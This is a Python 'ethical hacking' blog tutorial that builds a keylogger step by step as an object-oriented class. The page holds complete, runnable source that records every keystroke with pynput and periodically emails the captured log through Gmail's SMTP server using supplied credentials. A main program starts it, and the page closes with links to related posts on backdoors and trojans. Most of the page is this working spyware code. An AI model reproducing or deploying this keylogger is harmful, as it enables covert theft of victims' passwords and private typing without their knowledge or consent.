Python Ethical Hacking - KEYLOGGER(3)

Object-Oriented Programming

Keylogger Classes

  • Way of modeling program(blueprint).
  • Logically group functions and data.
    • Makes code more readable.
    • More reusable.
    • Separate implementation from usage(encapsulation).
    • Easier to extend.
    • Easier to maintain.

The Keylogger Class:

#!/usr/bin/env python
import threading

import pynput.keyboard

log = ""

class Keylogger:
    def process_key_press(self, key):
        global log
        try:
            log = log + str(key.char)
        except AttributeError:
            if key == key.space:
                log = log + " "
            else:
                log = log + " " + str(key) + " "

    def report(self):
        global log
        print(log)
        log = ""
        timer = threading.Timer(10, self.report)
        timer.start()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

The main Python program calling the Keylogger Class:

#!/usr/bin/env python
import keylogger

my_keylogger = keylogger.Keylogger()
my_keylogger.start()

Constructor Method & Instance Variables:

  • AKA initialization method.
  • Gets executed automatically when a class is created.
#!/usr/bin/env python
import threading

import pynput.keyboard

class Keylogger:
    def __init__(self):
        self.log = ""

    def append_to_log(self, string):
        self.log = self.log + string

    def process_key_press(self, key):
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)

    def report(self):
        print(self.log)
        self.log = ""
        timer = threading.Timer(10, self.report)
        timer.start()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

Polish the Python Class Code once more to log Key-strikes and report them by email.

#!/usr/bin/env python
import threading
import smtplib
import pynput.keyboard

class Keylogger:
    def __init__(self, time_interval, email, password):
        self.log = "Keylogger started"
        self.interval = time_interval
        self.email = email
        self.password = password

    def append_to_log(self, string):
        self.log = self.log + string

    def process_key_press(self, key):
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)

    def report(self):
        print(self.log)
        self.send_mail(self.email, self.password, "\n\n" + self.log)
        self.log = ""
        timer = threading.Timer(self.interval, self.report)
        timer.start()

    def send_mail(self, email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

Main program:

#!/usr/bin/env python
import keylogger

my_keylogger = keylogger.Keylogger(120, "[email protected]", "12345678")
my_keylogger.start()

原文地址:https://www.cnblogs.com/keepmoving1113/p/11624365.html

时间: 2024-08-30 18:27:20

Python Ethical Hacking - KEYLOGGER(3)的相关文章

Python Ethical Hacking - KEYLOGGER(2)

Report function: Run in the background. Don't interrupt program execution. Every X seconds, send the report. ->Great case for threading. #!/usr/bin/env python import threading import pynput.keyboard log = "" def process_key_press(key): global

Python Ethical Hacking - BACKDOORS(8)

Cross-platform hacking All programs we wrote are pure python programs They do not rely on OS-specific resources. Result: They work on any OS with a python interpreter. If packaged, they will work on any OS if even if python is NOT installed. 原文地址:htt

Python Ethical Hacking - Malware Packaging(2)

PACKAGING FOR WINDOWS FROM LINUX For best results package the program from the same OS as the target. EG if the target is Windows then package the program from a Windows computer with a python interpreter. Install Windows python interpreter on Linux.

Python Ethical Hacking - TROJANS Analysis(1)

TROJANS A trojan is a file that looks and functions as a normal file(image, pdf, song ..etc). When executed: 1. Opens the normal file that the user expects. 2. Executes evil code in the background (run a backdoor/keylogger ..etc). Download & Execute

Python Ethical Hacking - Basic Concetion

What is Hacking? Gaining unauthorized access. Hackers? 1.Black-hat Hackers 2.White-hat Hackers 3.Grey-hat Hackers WHAT IS A PROGRAM? A set of instructions to do a certain task or solve a problem. 原文地址:https://www.cnblogs.com/keepmoving1113/p/11332855

Python Ethical Hacking - Intercepting and Modifying Packets

INTERCEPTING & MODIFYING PACKETS Scapy can be used to: Create packets. Analyze packets. Send/receive packets. But it can't be used to intercept packets/flows. CLASSIC MITM SCENARIO  MITM - SNIFFING DATA  MITM - MODIFYING DATA 1. Execute the command -

Python Ethical Hacking - MODIFYING DATA IN HTTP LAYER(3)

Refactoring and Housekeeping: #!/usr/bin/env python import re from netfilterqueue import NetfilterQueue from scapy.layers.inet import TCP, IP from scapy.packet import Raw def set_load(packet, load): packet[Raw].load = load del packet[IP].len del pack

Python Ethical Hacking - Bypass HTTPS

HTTPS: Problem: Data in HTTP is sent as plain text. A MITM can read and edit requests and responses. -> not secure Solution: Use HTTPS. HTTPS is an adaptation of HTTP. Encrypt HTTP using TLS(Transport Layer Security) or SSL(Secure Sockets Layer). ARP

Python Ethical Hacking - Bypass HTTPS(2)

Injecting Code in HTTPS Pages: #!/usr/bin/env python import re from netfilterqueue import NetfilterQueue from scapy.layers.inet import TCP, IP from scapy.packet import Raw def set_load(packet, load): packet[Raw].load = load del packet[IP].len del pac